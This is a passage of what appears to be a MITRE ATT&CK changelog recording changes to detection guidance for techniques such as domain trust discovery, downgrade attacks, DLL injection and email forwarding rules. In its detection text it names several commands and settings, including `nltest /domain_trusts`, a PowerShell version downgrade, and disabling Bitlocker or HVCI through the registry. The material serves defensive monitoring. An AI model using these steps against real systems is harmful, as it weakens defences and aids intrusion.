x_mitre_detectionConfigure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access). + +On Linux, check logs and other artifacts created by use of domain authentication services, such as the System Security Services Daemon (sssd).(Citation: Ubuntu SSSD Docs) + +Perform regular audits of domain accounts to detect accounts that may have been created by an adversary for persistence.

[T1556.001] Modify Authentication Process: Domain Controller Authentication

Current version: 2.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Logon Session: Logon Session Creation', 'Process: Process Access', 'File: File Modification', 'Process: OS API Execution']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:21:45.658000+00:002025-10-24 17:49:27.324000+00:00
x_mitre_detectionMonitor for calls to OpenProcess that can be used to manipulate lsass.exe running on a domain controller as well as for malicious modifications to functions exported from authentication-related system DLLs (such as cryptdll.dll and samsrv.dll).(Citation: Dell Skeleton) + +Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g. a user has an active login session but has not entered the building or does not have VPN access).

[T1090.004] Proxy: Domain Fronting

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Network Traffic: Network Traffic Content']
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 14:48:02.492000+00:002025-10-24 17:49:23.135000+00:00
x_mitre_detectionIf SSL inspection is in place or the traffic is not encrypted, the Host field of the HTTP header can be checked if it matches the HTTPS SNI or against a blocklist or allowlist of domain names. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015)

[T1568.002] Dynamic Resolution: Domain Generation Algorithms

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Network Traffic: Network Traffic Flow']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:07.610000+00:002025-10-24 17:48:25.458000+00:00
x_mitre_detectionDetecting dynamically generated domains can be challenging due to the number of different DGA algorithms, constantly evolving malware families, and the increasing complexity of the algorithms. There is a myriad of approaches for detecting a pseudo-randomly generated domain name, including using frequency analysis, Markov chains, entropy, proportion of dictionary words, ratio of vowels to other characters, and more.(Citation: Data Driven Security DGA) CDN domains may trigger these detections due to the format of their domain names. In addition to detecting a DGA domain based on the name, another more general approach for detecting a suspicious domain is to check for recently registered names or for rarely visited domains. + +Machine learning approaches to detecting DGA domains have been developed and have seen success in applications. One approach is to use N-Gram methods to determine a randomness score for strings used in the domain name. If the randomness score is high, and the domains are not whitelisted (CDN, etc), then it may be determined if a domain is related to a legitimate host or DGA.(Citation: Pace University Detecting DGA May 2017) Another approach is to use deep learning to classify domains as DGA-generated.(Citation: Elastic Predicting DGA)

[T1069.002] Permission Groups Discovery: Domain Groups

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Group: Group Enumeration', 'Command: Command Execution', 'Process: OS API Execution', 'Process: Process Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:22:08.417000+00:002025-10-24 17:48:33.946000+00:00
x_mitre_detectionSystem and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. + +Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).

[T1590.001] Gather Victim Network Information: Domain Properties

Current version: 1.1

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:22:22.764000+00:002025-10-24 17:49:31.581000+00:00
x_mitre_detectionMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. + +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.

[T1482] Domain Trust Discovery

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Process: Process Creation', 'Command: Command Execution', 'Script: Script Execution', 'Network Traffic: Network Traffic Content', 'Process: OS API Execution']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:22:35.004000+00:002025-10-24 17:48:58.061000+00:00
x_mitre_detectionSystem and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation but as part of a chain of behavior that could lead to other activities based on the information obtained. + +Monitor processes and command-line arguments for actions that could be taken to gather system and network information, such as `nltest /domain_trusts`. Remote access tools with built-in features may interact directly with the Windows API to gather information. Look for the `DSEnumerateDomainTrusts()` Win32 API call to spot activity associated with [Domain Trust Discovery](https://attack.mitre.org/techniques/T1482).(Citation: Harmj0y Domain Trusts) Information may also be acquired through Windows system management tools such as [PowerShell](https://attack.mitre.org/techniques/T1059/001). The .NET method `GetAllTrustRelationships()` can be an indicator of [Domain Trust Discovery](https://attack.mitre.org/techniques/T1482).(Citation: Microsoft GetAllTrustRelationships) +

[T1484] Domain or Tenant Policy Modification

Current version: 3.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Active Directory: Active Directory Object Deletion', 'Active Directory: Active Directory Object Creation', 'Command: Command Execution', 'Active Directory: Active Directory Object Modification', 'Application Log: Application Log Content']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:59:19.033000+00:002025-10-24 17:49:33.897000+00:00
x_mitre_detectionIt may be possible to detect domain policy modifications using Windows event logs. Group policy modifications, for example, may be logged under a variety of Windows event IDs for modifying, creating, undeleting, moving, and deleting directory service objects (Event ID 5136, 5137, 5138, 5139, 5141 respectively). Monitor for modifications to domain trust settings, such as when a user or application modifies the federation settings on the domain or updates domain authentication from Managed to Federated via ActionTypes Set federation settings on domain and Set domain authentication.(Citation: Microsoft - Azure Sentinel ADFSDomainTrustMods)(Citation: Microsoft 365 Defender Solorigate) This may also include monitoring for Event ID 307 which can be correlated to relevant Event ID 510 with the same Instance ID for change details.(Citation: Sygnia Golden SAML)(Citation: CISA SolarWinds Cloud Detection) + +Consider monitoring for commands/cmdlets and command-line arguments that may be leveraged to modify domain policy settings.(Citation: Microsoft - Update or Repair Federated domain) Some domain policy modifications, such as changes to federation settings, are likely to be rare.(Citation: Microsoft 365 Defender Solorigate)

[T1583.001] Acquire Infrastructure: Domains

Current version: 1.4

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Domain Name: Passive DNS', 'Domain Name: Domain Registration', 'Domain Name: Active DNS']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:23:15.751000+00:002025-10-24 17:48:42.246000+00:00
x_mitre_detectionDomain registration information is, by design, captured in public registration logs. Consider use of services that may aid in tracking of newly acquired domains, such as WHOIS databases and/or passive DNS. In some cases it may be possible to pivot on known pieces of domain registration information to uncover other infrastructure purchased by the adversary. Consider monitoring for domains created with a similar structure to your own, including under a different TLD. Though various tools and services exist to track, query, and monitor domain name registration information, tracking across multiple DNS infrastructures can require multiple tools/services or more advanced analytics.(Citation: ThreatConnect Infrastructure Dec 2020) + +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access and Command and Control.

[T1584.001] Compromise Infrastructure: Domains

Current version: 1.4

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Domain Name: Passive DNS', 'Domain Name: Domain Registration', 'Domain Name: Active DNS']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:22:55.487000+00:002025-10-24 17:49:38.448000+00:00
x_mitre_detectionConsider monitoring for anomalous changes to domain registrant information and/or domain resolution information that may indicate the compromise of a domain. Efforts may need to be tailored to specific domains of interest as benign registration and resolution changes are a common occurrence on the internet. + +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.

[T1036.007] Masquerading: Double File Extension

Current version: 1.0

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['File: File Creation', 'File: File Metadata']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:23:40.712000+00:002025-10-24 17:48:25.732000+00:00
x_mitre_detectionMonitor for files written to disk that contain two file extensions, particularly when the second is an executable.(Citation: Seqrite DoubleExtension)

[T1562.010] Impair Defenses: Downgrade Attack

Current version: 1.3

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Command: Command Execution', 'Process: Process Creation', 'Process: Process Metadata']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:46.929000+00:002025-10-24 17:49:02.550000+00:00
x_mitre_detectionMonitor for commands or other activity that may be indicative of attempts to abuse older or deprecated technologies (ex: powershell –v 2). Also monitor for other abnormal events, such as execution of and/or processes spawning from a version of a tool that is not expected in the environment. + +Monitor for Windows event ID (EID) 400, specifically the EngineVersion field which shows the version of PowerShell running and may highlight a malicious downgrade attack.(Citation: inv_ps_attacks) + +Monitor network data to detect cases where HTTP is used instead of HTTPS. + +Monitor executed commands and arguments that may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms. Bitlocker can be disabled by calling DisableKeyProtectors and setting DisableCount to 0.(Citation: welivesecurity) + +Monitor for newly constructed files that may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems. Adversaries can construct new files in the EFI System Partition.(Citation: Microsoft Security)(Citation: welivesecurity) + +Monitor for changes made to Windows Registry keys and/or values related to services and startup programs that correspond to security tools such as HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender. HVCI (Hypervisor-Protected Code Integrity) can be disabled by modifying the registry key to 0, allowing the system to run custom unsigned kernel code.(Citation: Microsoft Security)(Citation: welivesecurity)

[T1601.002] Modify System Image: Downgrade System Image

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['File: File Modification']
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 14:48:39.086000+00:002025-10-24 17:49:39.331000+00:00
x_mitre_detectionMany embedded network devices provide a command to print the version of the currently running operating system. Use this command to query the operating system for its version number and compare it to what is expected for the device in question. Because image downgrade may be used in conjunction with [Patch System Image](https://attack.mitre.org/techniques/T1601/001), it may be appropriate to also verify the integrity of the vendor provided operating system image file.

[T1189] Drive-by Compromise

Current version: 1.7

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Application Log: Application Log Content', 'Network Traffic: Network Traffic Content', 'Process: Process Creation', 'File: File Creation', 'Network Traffic: Network Connection Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:59:12.900000+00:002025-10-24 17:49:28.067000+00:00
x_mitre_detectionFirewalls and proxies can inspect URLs for potentially known-bad domains or parameters. They can also do reputation-based analytics on websites and their requested resources such as how old a domain is, who it's registered to, if it's on a known bad list, or how many other users have connected to it before. + +Network intrusion detection systems, sometimes with SSL/TLS inspection, can be used to look for known malicious scripts (recon, heap spray, and browser identification scripts have been frequently reused), common script obfuscation, and exploit code. + +Detecting compromise based on the drive-by exploit from a legitimate website may be difficult. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of browser processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution, evidence of Discovery, or other unusual network traffic that may indicate additional tools transferred to the system.

[T1608.004] Stage Capabilities: Drive-by Target

Current version: 1.3

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Internet Scan: Response Content']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:24:03.854000+00:002025-10-24 17:48:36.634000+00:00
x_mitre_detectionIf infrastructure or patterns in the malicious web content utilized to deliver a [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) have been previously identified, internet scanning may uncover when an adversary has staged web content for use in a strategic web compromise. + +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on other phases of the adversary lifecycle, such as [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) or [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203).

[T1574.004] Hijack Execution Flow: Dylib Hijacking

Current version: 2.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Module: Module Load', 'File: File Creation', 'File: File Modification']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:59:24.300000+00:002025-10-24 17:49:39.243000+00:00
x_mitre_detectionMonitor file systems for moving, renaming, replacing, or modifying dylibs. Changes in the set of dylibs that are loaded by a process (compared to past behavior) that do not correlate with known software, patches, etc., are suspicious. Check the system for multiple dylibs with the same name and monitor which versions have historically been loaded into a process. + +Run path dependent libraries can include LC_LOAD_DYLIB, LC_LOAD_WEAK_DYLIB, and LC_RPATH. Other special keywords are recognized by the macOS loader are @rpath, @loader_path, and @executable_path.(Citation: Apple Developer Doco Archive Run-Path) These loader instructions can be examined for individual binaries or frameworks using the otool -l command. Objective-See's Dylib Hijacking Scanner can be used to identify applications vulnerable to dylib hijacking.(Citation: Wardle Dylib Hijack Vulnerable Apps)(Citation: Github EmpireProject HijackScanner)

[T1559.002] Inter-Process Communication: Dynamic Data Exchange

Current version: 1.4

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Process: Process Creation', 'Module: Module Load', 'Script: Script Execution']
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 20:37:15.927000+00:002025-10-24 17:48:31.581000+00:00
x_mitre_detectionMonitor processes for abnormal behavior indicative of DDE abuse, such as Microsoft Office applications loading DLLs and other modules not typically associated with the application or these applications spawning unusual processes (such as cmd.exe). + +OLE, Office Open XML, CSV, and other files can be scanned for ‘DDEAUTO', ‘DDE’, and other strings indicative of DDE execution.(Citation: NVisio Labs DDE Detection Oct 2017)(Citation: OWASP CSV Injection)(Citation: CSV Excel Macro Injection )

[T1574.006] Hijack Execution Flow: Dynamic Linker Hijacking

Current version: 2.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['File: File Creation', 'Command: Command Execution', 'Module: Module Load', 'Process: Process Creation', 'File: File Modification']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:36.147000+00:002025-10-24 17:48:51.810000+00:00
x_mitre_detectionMonitor for changes to environment variables and files associated with loading shared libraries such as LD_PRELOAD and DYLD_INSERT_LIBRARIES, as well as the commands to implement these changes. + +Monitor processes for unusual activity (e.g., a process that does not use the network begins to do so). Track library metadata, such as a hash, and compare libraries that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates.

[T1568] Dynamic Resolution

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content']
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 15:15:46.359000+00:002025-10-24 17:49:00.128000+00:00
x_mitre_detectionDetecting dynamically generated C2 can be challenging due to the number of different algorithms, constantly evolving malware families, and the increasing complexity of the algorithms. There are multiple approaches to detecting a pseudo-randomly generated domain name, including using frequency analysis, Markov chains, entropy, proportion of dictionary words, ratio of vowels to other characters, and more (Citation: Data Driven Security DGA). CDN domains may trigger these detections due to the format of their domain names. In addition to detecting algorithm generated domains based on the name, another more general approach for detecting a suspicious domain is to check for recently registered names or for rarely visited domains.

[T1055.001] Process Injection: Dynamic-link Library Injection

Current version: 1.4

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Process: Process Metadata', 'Process: Process Access', 'Process: Process Modification', 'Module: Module Load', 'Process: OS API Execution']
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 20:37:22.834000+00:002025-10-24 17:49:36.680000+00:00
x_mitre_detectionMonitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017) + +Monitor DLL/PE file events, specifically creation of these binary files as well as the loading of DLLs into processes. Look for DLLs that are not recognized or not normally loaded into a process. + +Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.

[T1548.004] Abuse Elevation Control Mechanism: Elevated Execution with Prompt

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Process: Process Creation', 'Process: OS API Execution']
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 20:37:19.503000+00:002025-10-24 17:49:16.860000+00:00
x_mitre_detectionConsider monitoring for /usr/libexec/security_authtrampoline executions which may indicate that AuthorizationExecuteWithPrivileges is being executed. MacOS system logs may also indicate when AuthorizationExecuteWithPrivileges is being called. Monitoring OS API callbacks for the execution can also be a way to detect this behavior but requires specialized security tooling.

[T1087.003] Account Discovery: Email Account

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Process: Process Creation', 'Command: Command Execution']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:25:10.775000+00:002025-10-24 17:48:44.685000+00:00
x_mitre_detectionSystem and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. + +Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).

[T1585.002] Establish Accounts: Email Accounts

Current version: 1.1

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:25:33.493000+00:002025-10-24 17:48:52.378000+00:00
x_mitre_detectionMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).

[T1586.002] Compromise Accounts: Email Accounts

Current version: 1.1

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:26:01.830000+00:002025-10-24 17:48:41.309000+00:00
x_mitre_detectionMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).

[T1114] Email Collection

Current version: 2.6

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Logon Session: Logon Session Creation', 'Application Log: Application Log Content', 'Network Traffic: Network Connection Creation', 'File: File Access', 'Command: Command Execution']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:26:37.477000+00:002025-10-24 17:48:26.463000+00:00
x_mitre_detectionThere are likely a variety of ways an adversary could collect email from a target, each with a different mechanism for detection. + +File access of local system email files for Exfiltration, unusual processes connecting to an email server within a network, or unusual access patterns or authentication attempts on a public-facing webmail server may all be indicators of malicious activity. + +Monitor processes and command-line arguments for actions that could be taken to gather local email files. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). + +Detection is challenging because all messages forwarded because of an auto-forwarding rule have the same presentation as a manually forwarded message. It is also possible for the user to not be aware of the addition of such an auto-forwarding rule and not suspect that their account has been compromised; email-forwarding rules alone will not affect the normal usage patterns or operations of the email account. + +Auto-forwarded messages generally contain specific detectable artifacts that may be present in the header; such artifacts would be platform-specific. Examples include X-MS-Exchange-Organization-AutoForwarded set to true, X-MailFwdBy and X-Forwarded-To. The forwardingSMTPAddress parameter used in a forwarding process that is managed by administrators and not by user actions. All messages for the mailbox are forwarded to the specified SMTP address. However, unlike typical client-side rules, the message does not appear as forwarded in the mailbox; it appears as if it were sent directly to the specified destination mailbox.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2) High volumes of emails that bear the X-MS-Exchange-Organization-AutoForwarded header (indicating auto-forwarding) without a corresponding number of emails that match the appearance of a forwarded message may indicate that further investigation is needed at the administrator level rather than user-level.

[T1114.003] Email Collection: Email Forwarding Rule

Current version: 1.4

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Command: Command Execution', 'Application Log: Application Log Content', 'Cloud Service: Cloud Service Metadata']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:26:55.201000+00:002025-10-24 17:49:00.920000+00:00
x_mitre_detectionDetection is challenging because all messages forwarded because of an auto-forwarding rule have the same presentation as a manually forwarded message. It is also possible for the user to not be aware of the addition of such an auto-forwarding rule and not suspect that their account has been compromised; email-forwarding rules alone will not affect the normal usage patterns or operations of the email account. This is especially true in cases with hidden auto-forwarding rules. This makes it only possible to reliably detect the existence of a hidden auto-forwarding rule by examining message tracking logs or by using a MAPI editor to notice the modified rule property values.(Citation: Pfammatter - Hidden Inbox Rules) + +Auto-forwarded messages generally contain specific detectable artifacts that may be present in the header; such artifacts would be platform-specific. Examples include `X-MS-Exchange-Organization-AutoForwarded` set to true, `X-MailFwdBy` and `X-Forwarded-To`. The `forwardingSMTPAddress` parameter used in a forwarding process that is managed by administrators and not by user actions. All messages for the mailbox are forwarded to the specified SMTP address. However, unlike typical client-side rules, the message does not appear as forwarded in the mailbox; it appears as if it were sent directly to the specified destination mailbox.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2) High volumes of emails that bear the `X-MS-Exchange-Organization-AutoForwarded` header (indicating auto-forwarding) without a corresponding number of emails that match the appearance of a forwarded message may indicate that further investigation is needed at the administrator level rather than user-level.

[T1564.008] Hide Artifacts: Email Hiding Rules

Current version: 1.4

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Command: Command Execution', 'Application Log: Application Log Content', 'File: File Modification']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:27:09.849000+00:002025-10-24 17:48:23.364000+00:00
x_mitre_detectionMonitor email clients and applications for suspicious activity, such as missing messages or abnormal configuration and/or log entries. + +On Windows systems, monitor for creation of suspicious inbox rules through the use of the New-InboxRule and Set-InboxRule PowerShell cmdlets.(Citation: Microsoft BEC Campaign) On MacOS systems, monitor for modifications to the RulesActiveState.plist, SyncedRules.plist, UnsyncedRules.plist, and MessageRules.plist files.(Citation: MacOS Email Rules)

[T1546.014] Event Triggered Execution: Emond

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['File: File Creation', 'Command: Command Execution', 'Process: Process Creation', 'File: File Modification']
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 20:37:18.374000+00:002025-10-24 17:49:08.766000+00:00
x_mitre_detectionMonitor emond rules creation by checking for files created or modified in /etc/emond.d/rules/ and /private/var/db/emondClients.

[T1589.003] Gather Victim Identity Information: Employee Names

Current version: 1.0

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:27:33.795000+00:002025-10-24 17:48:57.975000+00:00
x_mitre_detectionMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. + +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.

[T1573] Encrypted Channel

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Network Traffic: Network Traffic Content']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:59:01.172000+00:002025-10-24 17:49:17.042000+00:00
x_mitre_detectionSSL/TLS inspection is one way of detecting command and control traffic within some encrypted communication channels.(Citation: SANS Decrypting SSL) SSL/TLS inspection does come with certain risks that should be considered before implementing to avoid potential security issues such as incomplete certificate validation.(Citation: SEI SSL Inspection Risks) + +In general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)

[T1499] Endpoint Denial of Service

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Application Log: Application Log Content', 'Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'Sensor Health: Host Status']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:28:03.155000+00:002025-10-24 17:49:22.088000+00:00
x_mitre_detectionDetection of Endpoint DoS can sometimes be achieved before the effect is sufficient to cause significant impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness. Typical network throughput monitoring tools such as netflow, SNMP, and custom scripts can be used to detect sudden increases in circuit utilization.(Citation: Cisco DoSdetectNetflow) Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an attack as it starts. + +In addition to network level detections, endpoint logging and instrumentation can be useful for detection. Attacks targeting web applications may generate logs in the web server, application server, and/or database server that can be used to identify the type of attack, possibly before the impact is felt. + +Externally monitor the availability of services that may be targeted by an Endpoint DoS.

[T1480.001] Execution Guardrails: Environmental Keying

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Process: Process Creation', 'Command: Command Execution']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:59:20.646000+00:002025-10-24 17:49:35.768000+00:00
x_mitre_detectionDetecting the use of environmental keying may be difficult depending on the implementation. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of [Discovery](https://attack.mitre.org/tactics/TA0007), especially in a short period of time, may aid in detection.

[T1611] Escape to Host

Current version: 1.6

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Process: Process Creation', 'Kernel: Kernel Module Load', 'Container: Container Creation', 'Volume: Volume Modification', 'Process: OS API Execution']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:28.417000+00:002025-10-24 17:48:44.317000+00:00
x_mitre_detectionMonitor for the deployment of suspicious or unknown container images and pods in your environment, particularly containers running as root. Additionally, monitor for unexpected usage of syscalls such as mount (as well as resulting process activity) that may indicate an attempt to escape from a privileged container to host. In Kubernetes, monitor for cluster-level events associated with changing containers' volume configurations.

[T1585] Establish Accounts

Current version: 1.3

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Network Traffic: Network Traffic Content', 'Persona: Social Media']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:28:26.144000+00:002025-10-24 17:49:24.456000+00:00
x_mitre_detectionConsider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently created/modified accounts making numerous connection requests to accounts affiliated with your organization. + +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).

[T1546] Event Triggered Execution

